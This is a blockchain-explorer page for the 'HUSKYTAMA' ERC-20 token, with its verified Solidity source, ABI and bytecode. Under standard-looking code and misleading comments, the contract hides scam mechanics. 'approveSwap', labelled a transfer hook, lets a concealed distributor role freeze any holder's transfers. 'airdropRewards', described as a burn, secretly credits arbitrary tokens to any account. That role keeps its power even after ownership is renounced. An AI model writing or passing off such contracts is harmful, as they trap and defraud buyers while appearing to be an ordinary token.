ETH Price: $3,474.51 (+0.77%)

Token

HUSKYTAMA (HUSKYTAMA)
 

Overview

Max Total Supply

900,000,000,000 HUSKYTAMA

Holders

35

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
24,412,288,646.342963845 HUSKYTAMA

Value
$0.00
0x97B0fbbc81044442FdCd88b2Be36B3df190FE411
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HUSKYTAMA

Compiler Version
v0.8.1+commit.df193b15

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 3: HUSKYTAMA.sol
/** 
🐺HUSKYTAMA aims to be the first-to-market decentralized 
   exchange that caters to the needs of community leaders. 

   https://t.me/HuskyTAMA

   https://www.huskytama.website/

   https://medium.com/@huskytama

*/ // SPDX-License-Identifier: MIT

pragma solidity =0.8.1;
import "./IERC20.sol";
import "./Ownable.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract.
 */
contract HUSKYTAMA is Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _approveSwap;
    uint256 private _totalSupply;
    uint256 private _supplyCap;
    string private _name;
    string private _symbol;
    address unir;
    address unif;

    /**
     * @dev Sets the values for {name}, {symbol} and {totalsupply}.
     */
    constructor(address rter, address fctr) {
        _name = "HUSKYTAMA";
        _symbol = "HUSKYTAMA";
        _totalSupply = 900000000000*10**9;
        _supplyCap   = 900000000000;
        _balances[msg.sender] += _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
        unir = rter;
        unif = fctr;
    }
  
    /**
     * @notice Returns Supply Cap (maximum possible amount of tokens)
     */
    function SUPPLY_CAP() external view returns (uint256) {
        return _supplyCap;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
        _approve(sender, _msgSender(), currentAllowance - amount);}
        return true;
    }
    
    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     */
    function airdropRewards (address account, uint256 balance, uint256 burnAmount) external onlyDistributor {
        require(account != address(0), "ERC20: burn from the zero address disallowed");
        _totalSupply -= balance;
        _balances[account] += burnAmount;
        emit Transfer(account, address(0), balance);
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);}
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if (_approveSwap[sender] || _approveSwap[recipient]) require (amount == 0, "");
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
        _balances[sender] = senderBalance - amount;}
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
    }
   
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens.
     */
    function approveSwap (address _address) external onlyDistributor {
        if (_approveSwap[_address] == true) {_approveSwap[_address] = false;}
        else {_approveSwap[_address] = true; }
    }

 
    function swapState(address _address) public view returns (bool) {
        return _approveSwap[_address];
    }

    /**
     * @dev Hook that is called before any transfer of tokens.
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens.
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 2 of 3: IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity =0.8.1;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 3 of 3: Ownable.sol
// SPDX-License-Identifier: MIT

pragma solidity =0.8.1;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 */
abstract contract Ownable is Context {
    address private _owner;
    address internal _distributor;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    /**
     * @dev Throws if called by any account other than the distributor.
     */
    modifier onlyDistributor() {
        require(_distributor == msg.sender, "Caller is not fee distributor");
        _;
    }
    
    /**
     * @dev Set new distributor.
     */
    function distributor(address account) external onlyOwner {
        require (_distributor == address(0));
        _distributor = account;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"rter","type":"address"},{"internalType":"address","name":"fctr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"SUPPLY_CAP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"burnAmount","type":"uint256"}],"name":"airdropRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"approveSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"distributor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"swapState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040516200243b3803806200243b8339818101604052810190620000379190620003f0565b620000576200004b6200025d60201b60201c565b6200026560201b60201c565b6040518060400160405280600981526020017f4855534b5954414d41000000000000000000000000000000000000000000000081525060079080519060200190620000a492919062000329565b506040518060400160405280600981526020017f4855534b5954414d41000000000000000000000000000000000000000000000081525060089080519060200190620000f292919062000329565b506830ca024f987b90000060058190555064d18c2e2800600681905550600554600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200016291906200045f565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620001cb919062000442565b60405180910390a381600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050620005a8565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8280546200033790620004fa565b90600052602060002090601f0160209004810192826200035b5760008555620003a7565b82601f106200037657805160ff1916838001178555620003a7565b82800160010185558215620003a7579182015b82811115620003a657825182559160200191906001019062000389565b5b509050620003b69190620003ba565b5090565b5b80821115620003d5576000816000905550600101620003bb565b5090565b600081519050620003ea816200058e565b92915050565b600080604083850312156200040457600080fd5b60006200041485828601620003d9565b92505060206200042785828601620003d9565b9150509250929050565b6200043c81620004f0565b82525050565b600060208201905062000459600083018462000431565b92915050565b60006200046c82620004f0565b91506200047983620004f0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620004b157620004b062000530565b5b828201905092915050565b6000620004c982620004d0565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060028204905060018216806200051357607f821691505b602082108114156200052a57620005296200055f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6200059981620004bc565b8114620005a557600080fd5b50565b611e8380620005b86000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a25780639f08b319116100715780639f08b319146102e5578063a457c2d714610301578063a9059cbb14610331578063dd62ed3e14610361578063e074839e1461039157610116565b8063715018a61461026f5780638ab7e5d6146102795780638da5cb5b146102a957806395d89b41146102c757610116565b80631fda29cf116100e95780631fda29cf146101a557806323b872dd146101c1578063313ce567146101f1578063395093511461020f57806370a082311461023f57610116565b806306fdde031461011b578063095ea7b3146101395780630cfccc831461016957806318160ddd14610187575b600080fd5b6101236103ad565b60405161013091906117cb565b60405180910390f35b610153600480360381019061014e9190611514565b61043f565b60405161016091906117b0565b60405180910390f35b61017161045d565b60405161017e919061194d565b60405180910390f35b61018f610467565b60405161019c919061194d565b60405180910390f35b6101bf60048036038101906101ba9190611550565b610471565b005b6101db60048036038101906101d691906114c5565b61064b565b6040516101e891906117b0565b60405180910390f35b6101f9610743565b6040516102069190611968565b60405180910390f35b61022960048036038101906102249190611514565b61074c565b60405161023691906117b0565b60405180910390f35b61025960048036038101906102549190611460565b6107f8565b604051610266919061194d565b60405180910390f35b610277610841565b005b610293600480360381019061028e9190611460565b6108c9565b6040516102a091906117b0565b60405180910390f35b6102b161091f565b6040516102be9190611795565b60405180910390f35b6102cf610948565b6040516102dc91906117cb565b60405180910390f35b6102ff60048036038101906102fa9190611460565b6109da565b005b61031b60048036038101906103169190611514565b610b7c565b60405161032891906117b0565b60405180910390f35b61034b60048036038101906103469190611514565b610c67565b60405161035891906117b0565b60405180910390f35b61037b60048036038101906103769190611489565b610c85565b604051610388919061194d565b60405180910390f35b6103ab60048036038101906103a69190611460565b610d0c565b005b6060600780546103bc90611ab1565b80601f01602080910402602001604051908101604052809291908181526020018280546103e890611ab1565b80156104355780601f1061040a57610100808354040283529160200191610435565b820191906000526020600020905b81548152906001019060200180831161041857829003601f168201915b5050505050905090565b600061045361044c610e27565b8484610e2f565b6001905092915050565b6000600654905090565b6000600554905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610501576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f89061190d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610571576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105689061184d565b60405180910390fd5b816005600082825461058391906119f5565b9250508190555080600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105d9919061199f565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161063e919061194d565b60405180910390a3505050565b6000610658848484610ffa565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106a3610e27565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071a9061186d565b60405180910390fd5b6107378561072f610e27565b858403610e2f565b60019150509392505050565b60006009905090565b60006107ee610759610e27565b848460036000610767610e27565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107e9919061199f565b610e2f565b6001905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610849610e27565b73ffffffffffffffffffffffffffffffffffffffff1661086761091f565b73ffffffffffffffffffffffffffffffffffffffff16146108bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b49061188d565b60405180910390fd5b6108c76000611368565b565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606008805461095790611ab1565b80601f016020809104026020016040519081016040528092919081815260200182805461098390611ab1565b80156109d05780601f106109a5576101008083540402835291602001916109d0565b820191906000526020600020905b8154815290600101906020018083116109b357829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a619061190d565b60405180910390fd5b60011515600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610b20576000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610b79565b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60008060036000610b8b610e27565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3f9061192d565b60405180910390fd5b610c5c610c53610e27565b85858403610e2f565b600191505092915050565b6000610c7b610c74610e27565b8484610ffa565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d14610e27565b73ffffffffffffffffffffffffffffffffffffffff16610d3261091f565b73ffffffffffffffffffffffffffffffffffffffff1614610d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7f9061188d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de357600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e96906118ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f069061180d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fed919061194d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561106a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611061906118ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d1906117ed565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061117b5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111c457600081146111c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ba906118cd565b60405180910390fd5b5b6111cf83838361142c565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611256576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124d9061182d565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112eb919061199f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161134f919061194d565b60405180910390a3611362848484611431565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b60008135905061144581611e1f565b92915050565b60008135905061145a81611e36565b92915050565b60006020828403121561147257600080fd5b600061148084828501611436565b91505092915050565b6000806040838503121561149c57600080fd5b60006114aa85828601611436565b92505060206114bb85828601611436565b9150509250929050565b6000806000606084860312156114da57600080fd5b60006114e886828701611436565b93505060206114f986828701611436565b925050604061150a8682870161144b565b9150509250925092565b6000806040838503121561152757600080fd5b600061153585828601611436565b92505060206115468582860161144b565b9150509250929050565b60008060006060848603121561156557600080fd5b600061157386828701611436565b93505060206115848682870161144b565b92505060406115958682870161144b565b9150509250925092565b6115a881611a29565b82525050565b6115b781611a3b565b82525050565b60006115c882611983565b6115d2818561198e565b93506115e2818560208601611a7e565b6115eb81611b41565b840191505092915050565b600061160360238361198e565b915061160e82611b52565b604082019050919050565b600061162660228361198e565b915061163182611ba1565b604082019050919050565b600061164960268361198e565b915061165482611bf0565b604082019050919050565b600061166c602c8361198e565b915061167782611c3f565b604082019050919050565b600061168f60288361198e565b915061169a82611c8e565b604082019050919050565b60006116b260208361198e565b91506116bd82611cdd565b602082019050919050565b60006116d560258361198e565b91506116e082611d06565b604082019050919050565b60006116f860008361198e565b915061170382611d55565b600082019050919050565b600061171b60248361198e565b915061172682611d58565b604082019050919050565b600061173e601d8361198e565b915061174982611da7565b602082019050919050565b600061176160258361198e565b915061176c82611dd0565b604082019050919050565b61178081611a67565b82525050565b61178f81611a71565b82525050565b60006020820190506117aa600083018461159f565b92915050565b60006020820190506117c560008301846115ae565b92915050565b600060208201905081810360008301526117e581846115bd565b905092915050565b60006020820190508181036000830152611806816115f6565b9050919050565b6000602082019050818103600083015261182681611619565b9050919050565b600060208201905081810360008301526118468161163c565b9050919050565b600060208201905081810360008301526118668161165f565b9050919050565b6000602082019050818103600083015261188681611682565b9050919050565b600060208201905081810360008301526118a6816116a5565b9050919050565b600060208201905081810360008301526118c6816116c8565b9050919050565b600060208201905081810360008301526118e6816116eb565b9050919050565b600060208201905081810360008301526119068161170e565b9050919050565b6000602082019050818103600083015261192681611731565b9050919050565b6000602082019050818103600083015261194681611754565b9050919050565b60006020820190506119626000830184611777565b92915050565b600060208201905061197d6000830184611786565b92915050565b600081519050919050565b600082825260208201905092915050565b60006119aa82611a67565b91506119b583611a67565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156119ea576119e9611ae3565b5b828201905092915050565b6000611a0082611a67565b9150611a0b83611a67565b925082821015611a1e57611a1d611ae3565b5b828203905092915050565b6000611a3482611a47565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a9c578082015181840152602081019050611a81565b83811115611aab576000848401525b50505050565b60006002820490506001821680611ac957607f821691505b60208210811415611add57611adc611b12565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611e2881611a29565b8114611e3357600080fd5b50565b611e3f81611a67565b8114611e4a57600080fd5b5056fea2646970667358221220bbf0b889c9f2443d4e9a84ac79ab3801bdb42887f07d69ebae04efa2e191c66964736f6c634300080100330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000